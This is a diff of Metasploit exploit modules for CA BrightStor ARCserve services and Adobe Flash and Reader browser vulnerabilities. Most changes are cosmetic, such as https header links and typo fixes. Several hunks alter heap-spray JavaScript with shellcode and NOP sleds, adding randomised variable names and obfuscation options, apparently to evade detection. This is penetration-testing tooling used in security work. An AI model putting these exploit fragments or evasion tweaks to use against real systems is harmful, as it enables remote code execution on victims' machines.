+          # NX can be bypassed by brute forcing ntdll addresses as the process is restarted
           # pop/pop/ret in fpparser.dll (old from 2004)
           [ 'BrightStor HSM 11.5 Windows All',	{ 'Ret' => 0x12014c78 } ],
         ],
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb
index e72aa4a84b..d791362ac8 100644
--- a/modules/exploits/windows/brightstor/lgserver.rb
+++ b/modules/exploits/windows/brightstor/lgserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,5 +63,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb
index e93016dba6..1aeb1e70c0 100644
--- a/modules/exploits/windows/brightstor/lgserver_multi.rb
+++ b/modules/exploits/windows/brightstor/lgserver_multi.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = AverageRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -99,5 +98,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
index ce607fa39a..1279008d05 100644
--- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
+++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb
index 0df7bf6bdf..f98fee263d 100644
--- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb
+++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = AverageRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -83,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
index 5fe97fc76c..50d97a9700 100644
--- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
+++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/license_gcr.rb b/modules/exploits/windows/brightstor/license_gcr.rb
index 5f0d0fb67d..e17b82e5b7 100644
--- a/modules/exploits/windows/brightstor/license_gcr.rb
+++ b/modules/exploits/windows/brightstor/license_gcr.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb
index dbe5adb009..64ceee4d72 100644
--- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb
+++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',
       'Description'    => %q{
           This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA
-        BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker
+        BrightStor ARCserve. By sending a specially crafted SUNRPC request, an attacker
         can overflow a stack buffer and execute arbitrary code.
       },
       'Author'         => [ 'toto' ],
@@ -262,7 +262,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     data = "_" + data + "_1_1_1_1_1_1_1_1_1"
 
-    request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3)
+    request = Rex::Encoder::XDR.encode(1, 1, 2, 2, 2, data, 3, 3)
 
     print_status("Trying target #{target.name}...")
 
diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb
index 885c65d1bd..52190c0ef7 100644
--- a/modules/exploits/windows/brightstor/message_engine.rb
+++ b/modules/exploits/windows/brightstor/message_engine.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/message_engine_72.rb b/modules/exploits/windows/brightstor/message_engine_72.rb
index 354dc23c83..0261e511d4 100644
--- a/modules/exploits/windows/brightstor/message_engine_72.rb
+++ b/modules/exploits/windows/brightstor/message_engine_72.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = AverageRanking
 
   include Msf::Exploit::Remote::DCERPC
diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb
index fe92b27d82..8396d20b47 100644
--- a/modules/exploits/windows/brightstor/message_engine_heap.rb
+++ b/modules/exploits/windows/brightstor/message_engine_heap.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb
index 179eae262c..9d492c1efa 100644
--- a/modules/exploits/windows/brightstor/sql_agent.rb
+++ b/modules/exploits/windows/brightstor/sql_agent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
       disconnect
     }
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb
index 0375663ece..76ec8f5bf6 100644
--- a/modules/exploits/windows/brightstor/tape_engine.rb
+++ b/modules/exploits/windows/brightstor/tape_engine.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
index c5823c5fd7..4e605528f5 100644
--- a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
+++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = AverageRanking
 
   include Msf::Exploit::Remote::DCERPC
diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb
index 277907707c..a9756c6c66 100644
--- a/modules/exploits/windows/brightstor/universal_agent.rb
+++ b/modules/exploits/windows/brightstor/universal_agent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -98,7 +98,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb
index 672e0d3473..e963f53eed 100644
--- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb
+++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -572,5 +572,4 @@ EOF
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb
index 06876f75a2..f2d317879b 100644
--- a/modules/exploits/windows/browser/adobe_flash_avm2.rb
+++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb
index dd07054cc3..a0616dac04 100644
--- a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb
+++ b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -104,5 +104,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb
index 53b56338d5..39a30277b8 100644
--- a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb
+++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb
index 4dcea0bb91..a4afb0a6f7 100644
--- a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb
+++ b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -109,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb
index 413aae120e..dc1fd9e4a3 100644
--- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb
+++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -128,5 +128,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
index a63236dd3f..ccbc39b1e4 100644
--- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
+++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -208,11 +208,13 @@ class MetasploitModule < Msf::Exploit::Remote
 
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js_pivot = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -290,7 +292,6 @@ pluginspage="http://www.macromedia.com/go/getflashplayer">
 
     return mp4
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb
index 383c8a28d2..74d6d4debd 100644
--- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb
+++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -228,5 +228,4 @@ class MetasploitModule < Msf::Exploit::Remote
     fd.close
     return swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb
index 26ec5e22de..33fddf3b26 100644
--- a/modules/exploits/windows/browser/adobe_flash_pcre.rb
+++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -116,5 +116,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb
index 5705b19ef8..cd33b6f860 100644
--- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb
+++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         This module exploits a vulnerability found in the ActiveX component of Adobe
         Flash Player before 11.5.502.149. By supplying a specially crafted swf file
-        with special regex value, it is possible to trigger an memory corruption, which
+        with special regex value, it is possible to trigger a memory corruption, which
         results in remote code execution under the context of the user, as exploited in
         the wild in February 2013. This module has been tested successfully with Adobe
         Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb
index fe528c2198..5ff193aec3 100644
--- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb
+++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,11 +138,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_easy_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -166,11 +168,13 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def get_aligned_spray(t, js_rop, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
 
     var heap_obj = new heapLib.ie(0x20000);
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     var rop_chain = unescape("#{js_rop}");
 
     while (nops.length < 0x80000) nops += nops;
@@ -370,7 +374,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
@@ -427,7 +431,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return swf
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb
index dcb4619f27..c3dd135f5d 100644
--- a/modules/exploits/windows/browser/adobe_flash_sps.rb
+++ b/modules/exploits/windows/browser/adobe_flash_sps.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,11 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote
 
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -138,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@@ -310,7 +312,6 @@ class MetasploitModule < Msf::Exploit::Remote
     m = ftypAtom + mdatAtom + moovAtom
     return m
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb
index 11f69a53a1..22d9888544 100644
--- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb
+++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'                => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
       'Description'         => %q{
-        This module exploits an unintialized memory vulnerability in Adobe Flash Player. The
+        This module exploits an uninitialized memory vulnerability in Adobe Flash Player. The
         vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
         to initialize allocated memory. When using a correct memory layout this vulnerability
         leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
@@ -105,5 +105,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb
index 98e481cd37..d84221f398 100644
--- a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb
+++ b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -104,5 +104,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     swf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
index 9a15fd2807..a8350a1a50 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
index 64bdb50450..e62ec43248 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
index 3e4fd0fc25..5fdca5e3bc 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -208,6 +208,9 @@ class MetasploitModule < Msf::Exploit::Remote
       js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
     end
 
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
+
     js = <<-JS
     function heap_spray(heaplib, nops, code, offset, max) {
       while (nops.length < 0x2000) nops += nops;
@@ -222,7 +225,8 @@ class MetasploitModule < Msf::Exploit::Remote
     }
 
     var heap_obj = new heapLib.ie(0x20000);
-    var nops = unescape("%u0c0c%u0c0c");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     var code = unescape("#{shellcode}");
     heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
     var fake_pointers = unescape("#{pivot}");
@@ -234,7 +238,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #Javascript obfuscation is optional
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
index d4381c7e99..b388b83251 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
         NOTE: This module uses a similar DEP bypass method to that used within the
         adobe_libtiff module. This method is unlikely to work across various
-        Windows versions due a the hardcoded syscall number.
+        Windows versions due a hardcoded syscall number.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -417,5 +417,4 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
index 0a22131b1a..466a3b294b 100644
--- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
+++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,6 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # Make some nops
     nops    = Rex::Text.to_unescape(make_nops(4))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Randomize variables
     rand1  = rand_text_alpha(rand(100) + 1)
@@ -94,7 +95,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
     script = %Q|
 var #{rand1} = unescape("#{shellcode}");
-var #{rand2} = unescape("#{nops}");
+var #{randnop} = "#{nops}";
+var #{rand2} = unescape(#{randnop});
 while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
 #{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
 memory = new Array();
@@ -233,5 +235,4 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb
index ef9c4b7bfd..c40339d96e 100644
--- a/modules/exploits/windows/browser/adobe_geticon.rb
+++ b/modules/exploits/windows/browser/adobe_geticon.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,13 +91,15 @@ class MetasploitModule < Msf::Exploit::Remote
     rand10 = rand_text_alpha(rand(100) + 1)
     rand11 = rand_text_alpha(rand(100) + 1)
     rand12 = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     script = %Q|
     var #{rand1} = unescape("#{shellcode}");
     var #{rand2} ="";
-    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
+    var #{randnop} = "#{nops}";
+    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}");
     #{rand4} = #{rand2} + #{rand1};
-    #{rand5} = unescape("#{nops}");
+    #{rand5} = unescape(#{randnop});
     #{rand6} = 20;
     #{rand7} = #{rand6}+#{rand4}.length
     while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
@@ -199,5 +201,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb
index 3b3fcf3ecd..86d5216d11 100644
--- a/modules/exploits/windows/browser/adobe_jbig2decode.rb
+++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,16 +85,18 @@ class MetasploitModule < Msf::Exploit::Remote
     rand14	= rand_text_alpha(rand(50) + 1)
     rand15	= rand_text_alpha(rand(50) + 1)
     rand16	= rand_text_alpha(rand(50) + 1)
+    randnop     = rand_text_alpha(rand(100) + 1)
 
     script = %Q|
     var #{rand1} = "";
     var #{rand2} = "";
     var #{rand3} = unescape("#{shellcode}");
     var #{rand4} = "";
+    var #{randnop} = "#{nops}";
 
-    for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
+    for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
     #{rand6} = #{rand4} + #{rand3};
-    #{rand7} = unescape("#{nops}");
+    #{rand7} = unescape(#{randnop});
